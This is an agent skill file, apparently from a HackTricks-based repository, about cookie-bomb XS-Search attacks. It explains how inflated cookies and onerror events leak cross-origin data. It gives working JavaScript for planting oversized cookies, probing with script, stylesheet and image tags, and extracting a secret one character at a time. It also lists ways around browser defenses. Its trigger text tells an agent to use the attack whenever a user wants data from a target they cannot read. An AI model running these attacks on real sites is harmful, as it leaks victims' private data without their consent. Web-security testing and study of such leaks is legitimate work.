Hacktricks-skills cookie-bomb-xs-search
Perform cross-origin search attacks using cookie bombing and error event oracles. Use this skill when you need to extract data from a cross-origin endpoint by detecting server errors (431/414/400) triggered by inflated request headers. Trigger this skill for any XS-Search task, cookie-based oracle attacks, or when you need to probe cross-origin endpoints for boolean responses. Also use when the user mentions "XS-Search", "cross-origin search", "cookie bomb", "onerror oracle", or needs to leak data from a target they can't directly read.
git clone https://github.com/abelrguezr/hacktricks-skills
skills/pentesting-web/xs-search/cookie-bomb-+-onerror-xs-leak/SKILL.MDCookie Bomb + Onerror XS Search
This skill enables cross-origin search attacks by combining cookie bombing with error-event oracles. The technique exploits server header/URL limits to create a boolean oracle that distinguishes between two states (e.g., search hit vs miss).
Core Concept
- Cookie Bomb: Stuff the victim's browser with many/large cookies for the target origin
- Error Oracle: Probe a cross-origin endpoint with a
or other subresource<script> - State Detection: Distinguish states via
(success) vsonload
(failure)onerror
When the "hit" path triggers a heavy redirect chain or long URL, combined with inflated cookies, the server returns an HTTP error (431/414/400). This error fires
onerror, creating a reliable boolean oracle.
When This Works
- You can cause the victim browser to send cookies to the target (SameSite=None cookies, or first-party context via
)window.open - There's an app feature to set arbitrary cookies (e.g., "save preference" endpoints that turn controlled input into Set-Cookie)
- The server reacts differently on two states, and with inflated headers/URL, one state crosses a limit and returns an error
Browser Hardening Considerations (2025+)
- Chrome Tracking Protection: Blocks third-party cookies for expanding cohorts. Use first-party planting via
window.open - Firefox 139+: CVE-2025-5266 tightened script tag onerror for cross-origin resources. Diversify oracles (stylesheet, img, fetch)
- Safari/Firefox: Block most third-party cookies by default. Use CHIPS/partitioned cookie awareness
Available Scripts
Cookie Planting
Use
scripts/cookie-plant.js for first-party-safe cookie planting:
node scripts/cookie-plant.js --endpoint <url> --fields <json>
This stages a temporary top-level window and fires oversized form submissions to the vulnerable Set-Cookie endpoint.
Probing Oracle
Use
scripts/xs-probe.js for generic error probing:
node scripts/xs-probe.js --url <target-url> --type script|css|img
Returns
true if the probe failed (onerror fired), false if it loaded successfully.
De Bruijn Generator
Use
scripts/debruijn-gen.js for efficient cookie packing:
node scripts/debruijn-gen.js --alphabet <chars> --length <n>
Generates de Bruijn sequences for packing guesses efficiently in cookie values.
Attack Workflow
Step 1: Identify the Target
Find an endpoint whose behavior differs for two states:
- Search endpoint that redirects on hit vs stays on miss
- Feature that reflects user input in redirect URLs
- Any endpoint with divergent network outcomes (status/MIME/redirect)
Step 2: Inflate Headers
Use the cookie planting script to stuff cookies:
// Example: plant 5 cookies with increasing sizes await plantFirstPartyCookies( "https://target.com/set-preference", { "pref_0": "value_" + "_".repeat(400), "pref_1": "value_" + "_".repeat(520), "pref_2": "value_" + "_".repeat(640), "pref_3": "value_" + "_".repeat(760), "pref_4": "value_" + "_".repeat(880) } );
Step 3: Probe with Oracle
Use the probing script to detect errors:
const isHit = await probeError( "https://target.com/search?q=" + encodeURIComponent(guess) ); if (isHit) { // Server returned error (431/414/400) - this is a hit! console.log("Match found:", guess); }
Step 4: Iterate to Extract
Build the target value character by character:
const alphabet = "_{}0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; let known = ""; for (let c of alphabet) { if (await probeError(`https://target.com/search?q=${known + c}`)) { known += c; console.log("Progress:", known); } }
Common Header/URL Limits
| Provider | Request Headers | URL Length |
|---|---|---|
| Cloudflare | 128 KB | 16 KB |
| Apache (default) | ~8 KB per header | Varies |
| Nginx | Configurable (default ~8 KB) | Configurable |
Adjust cookie bomb size accordingly. Cloudflare targets may need more/larger cookies.
Stabilization Tips
- Fire multiple parallel cookie set operations to average out timing noise
- Bust caches: Add random
or#fragment
to probe URLs?r= - Use distinct window names when using
loopswindow.open - Alternate subresources: If
is filtered, try<script>
or<link rel=stylesheet><img> - Fingerprint victim UA before assuming onerror still fires (Firefox 139+ changes)
Alternative Oracles
If script tags are blocked, use these alternatives:
// CSS stylesheet oracle function probeCSS(url) { return new Promise((resolve) => { const l = document.createElement('link'); l.rel = 'stylesheet'; l.href = url; l.onload = () => resolve(false); l.onerror = () => resolve(true); document.head.appendChild(l); }); } // Image oracle function probeImage(url) { return new Promise((resolve) => { const img = new Image(); img.src = url; img.onload = () => resolve(false); img.onerror = () => resolve(true); }); }